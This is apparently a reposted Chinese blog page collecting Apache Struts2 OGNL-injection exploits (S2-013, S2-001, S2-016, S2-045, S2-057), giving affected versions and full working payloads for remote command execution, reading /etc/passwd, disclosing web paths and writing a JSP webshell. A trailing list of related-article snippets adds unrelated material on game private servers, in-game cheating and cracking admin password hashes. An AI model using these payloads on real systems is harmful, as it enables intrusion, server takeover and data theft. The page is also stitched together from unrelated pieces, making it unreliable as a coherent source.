java struts2 漏洞_Struts2漏洞利用

article/2025/9/23 7:56:57

Struts漏洞合集

Struts-S2-013漏洞利用

受影响版本

Struts 2.0.0 - Struts 2.3.14.1

漏洞利用

任意命令执行POC:

${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[50000],#c.read(#d),#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#out.println(#d),#out.close())}

或着

${#_memberAccess["allowStaticMethodAccess"]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}

如:

http://your-ip:8080/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('id').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

580fdc949fbe0f353949ec450283175a.png

Struts-S2-001漏洞利用

影响版本

Struts2.0.0 - Struts2.3.15

漏洞利用

获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

8fbc66157c20d7ff373f7401d7d4ba7f.png

06abc8a7d184125aaea13569700505e7.png

获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

Struts-S2-016漏洞利用

影响版本

2.0.0 - 2.3.15

执行命令

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

1c0ed1f7e7d537b6f7b09db5b8cd6625.png

获取Web目录

redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getSession().getServletContext().getRealPath('/')),#ot.flush(),#ot.close()}

26bff0474cec7da61399311a2ceb1413.png

写入Webshell

redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest"),#b=new java.io.FileOutputStream(new java.lang.StringBuilder(#a.getRealPath("/")).append(@java.io.File@separator).append("1.jspx").toString()),#b.write(#a.getParameter("t").getBytes()),#b.close(),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println("BINGO"),#genxor.flush(),#genxor.close()}

0091a0f158418fcf56f20927e98a9d2a.png

Struts-S2-045漏洞利用

影响版本

Struts 2.3.5 – Struts 2.3.31 Struts 2.5 – Struts 2.5.10

POC

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

643d8d82fdf98f9cd68097817c7e5630.png

EXP

%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

3a784697be332e3d8595298b2e508c5b.png

Struts-S2-057漏洞利用

受影响版本

Struts 2.3 – 2.3.34

Struts 2.5 – 2.5.16

POC

$%7B233*233%7D

61e125c4155f7b6c849dddb66bed24aa.png

命令执行

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

7ceb0c41ba43cc64abaef2fe09372a2b.png


http://chatgpt.dhexx.cn/article/ulwsre1x.shtml

相关文章

struts2漏洞监测_全版本struts2漏洞练习

docker中有struts2全版本的漏洞平台 1、首先在docker中进行下载: # docker pull 2d8ru/struts2 2、其次运行:(48729为物理机的端口,可随意指定) # docker run --name struts2 -p48729:8080 -d 2d8ru/struts2 3、下载struts2漏洞扫描工具&…

Struts2漏洞复现

一. S2-016复现 打开测试靶场,测试该网站存在index.action路径 漏洞原理: 参数action的值redirect以及redirectAction没有正确过滤,导致ognl代码执行 测试POC: 2.1 /index.action?redirect:%25{3*4}2.2 /index.action?redirect:%…

java struts2 漏洞_Struts2漏洞简述

S2-005漏洞 S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。 S2-005则是绕过官方的安全配置(禁止…

【渗透测试】Struts2系列漏洞

目录 🌷S2-001 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法 🌷S2-005 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法(无回显) 🌼4、验证方法&#x…

Struts2漏洞分析与复现合集

文章目录 一、基础知识Struts2简介: 二、漏洞复现1、S2-001(OGNL 循环解析导致的 RCE 漏洞)漏洞原理:影响版本:环境搭建:poc:漏洞利用: 2、S2-005(S2-003 的绕过&#xf…

框架/组件漏洞系列1:struts2漏洞汇总

前言: 本篇文章中复现的漏洞不是特别全面,但是挑选了最近两年的漏洞进行复现,旨在对漏洞进行有用复现,毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍: Struts是Apache软件基金会&#xff08…

struts2漏洞

文章目录 漏洞一、struts2漏洞 S2-001漏洞原理复现 二、struts2漏洞 S2-005原理 分析一下003复现 三、struts2漏洞s2-007四、struts2漏洞 S2-008原理复现 五、struts2漏洞 S2-009原理复现 六、struts2漏洞 S2-012原理复现 七、struts2漏洞 S2-013原理复现 八、struts2漏洞 S2-0…

传奇私服搭建+微端

微端服务器引擎 数据库 客户端 版本 本来想发网盘链接,文件涉及敏感无法分享,需要的可以私下给你发。 企鹅号:1404765471 首先准备 1.三台服务器(服务端服务器 微端服务器 列表服务器)推荐Windows2008系统 2.私服…

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少?

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少? 作为经典怀旧游戏,传奇赢得了许多人的青睐,在这个科技的时代,玩服已经满足不了了,多数人会选择自己…

gm修改爆率需要重启服务器吗,传奇SF服务端上修改怪物爆率图文教程

修改怪物爆率基本上是每个版本在改的时候要走的一步,因为每个GM思路不同,想法不同,他给玩家展现出来的版本也不同,就是自己玩单机也要去改,谁不想爆率高点对吧,今天给大家讲解一下通过修改服务端的怪物爆率…

传奇私服游戏支付接口申请(已解决)

传奇游戏是一款经典打怪升级-PK游戏,盛大游戏公司于2001年9月发布,随后出现了众多传奇私服游戏版本。到现在依然受很多人喜爱,经历了多次升级换代,现已转变为游戏体验更加细腻的页游和手游,成为了小成本高收益的热门游…

传奇开服架设教程

传奇架设其实很简单 很多网友非常爱玩这款游戏,可能还有朋友不知道怎么架设这款游戏 今天特意写篇传奇架设教程,希望大家都能打造出真正属于自己的传奇 首先传奇架设需要准备以下几个软件 准备工具: 1、传奇服务端(版本&#…

传奇私服搭建网站的几种方法

搭建网站的几种方法: 一些人,连简单的搭建网站都不会,还要请技术帮忙,真是牛B,这里简单介绍下几种办法 一:2003系统下,直接使用IIS,这个太简单了,桌面上就有IIS&#xff…

传奇h5私服源码+教程

传奇h5私服源码教程 这几天突然想拿服务器做些什么,就想到搭一个私服游戏,学习娱乐一下。废话不多说下面给教程和源码。 传奇h5源码:https://download.csdn.net/download/qq_37258192/11997500 (重新上传了1次,积分变…

传奇私服服务器上怎么修改爆率,传奇私服怎么一次性调整爆率

满意答案 yhd514468637 推荐于 2017.10.03 怪物爆率文件在D:\Mirserver\Mir200\Envir\MonItems下面,一般默认的怪物爆率就已经非常不错,但根据服务器人数,有时候还是需要对爆率进行调整。 关于调整沃玛装备 沃玛装备为底级装备,控…

传奇架设-设置GM以及刷装备教程

传奇游戏虽然已经那么多年了,但是新手还是不断的在涌入进来,想学私服技术的也很多。 今天来说一下怎么设置GM,和怎么看命了吧!本来想做一个视频的,但是我觉得这个太过简单,图文还来的简单。 《第一章&…

传奇服中怎么刷装备

记得玩传奇的时候,最大的乐趣莫过于一起PK打装备,真的是让人激情四射了,想想都有点小激动呢,呵呵!但是等了做了GM以后,这点乐趣真的没有了,感觉打装备PK没有什么意思,倒是觉得刷装备…

传奇SF刷元宝之迷失版本刷叠加材料

传奇迷失版本刷材料漏洞教学 今天给大家带来传奇迷失版刷叠加材料,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加他们所谓的群啊之类的引流罢了, 今天我给大家一个…

传奇SF刷元宝之王者荣耀版本

王者荣耀版本刷元宝卡爆率保姆级教学 王者荣耀版本刷元宝卡爆率详细教学 今天给大家带来传奇王者荣耀版本刷元宝和卡爆率的教程,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加…

网站管理后台帐号密码找回方法

站忘记密码怎么找回? 两个方法 方法一: 登录数据库,把password 下面的这一串加密串 解密一下。我至今没这样弄过,原理是这样,但是我没找到好用的md5 解密网站。一般的都要收费的。 方法二: 在数据库重置一个简单的密码&#x…